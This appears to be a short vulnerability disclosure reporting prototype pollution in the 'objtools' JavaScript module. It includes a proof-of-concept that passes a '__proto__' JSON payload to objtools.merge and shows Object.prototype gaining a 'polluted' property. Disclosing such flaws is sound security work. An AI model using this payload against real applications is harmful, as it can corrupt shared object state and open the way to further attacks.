[objtools] Prototype pollution

I would like to report a `prototype pollution` vulnerability in `objtools` module. It allows an attacker to inject properties on Object.prototype.

const objtools = require('objtools');
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
let obj = {};
console.log("Before : " + obj.polluted);
objtools.merge({}, payload);
console.log("After : " + obj.polluted);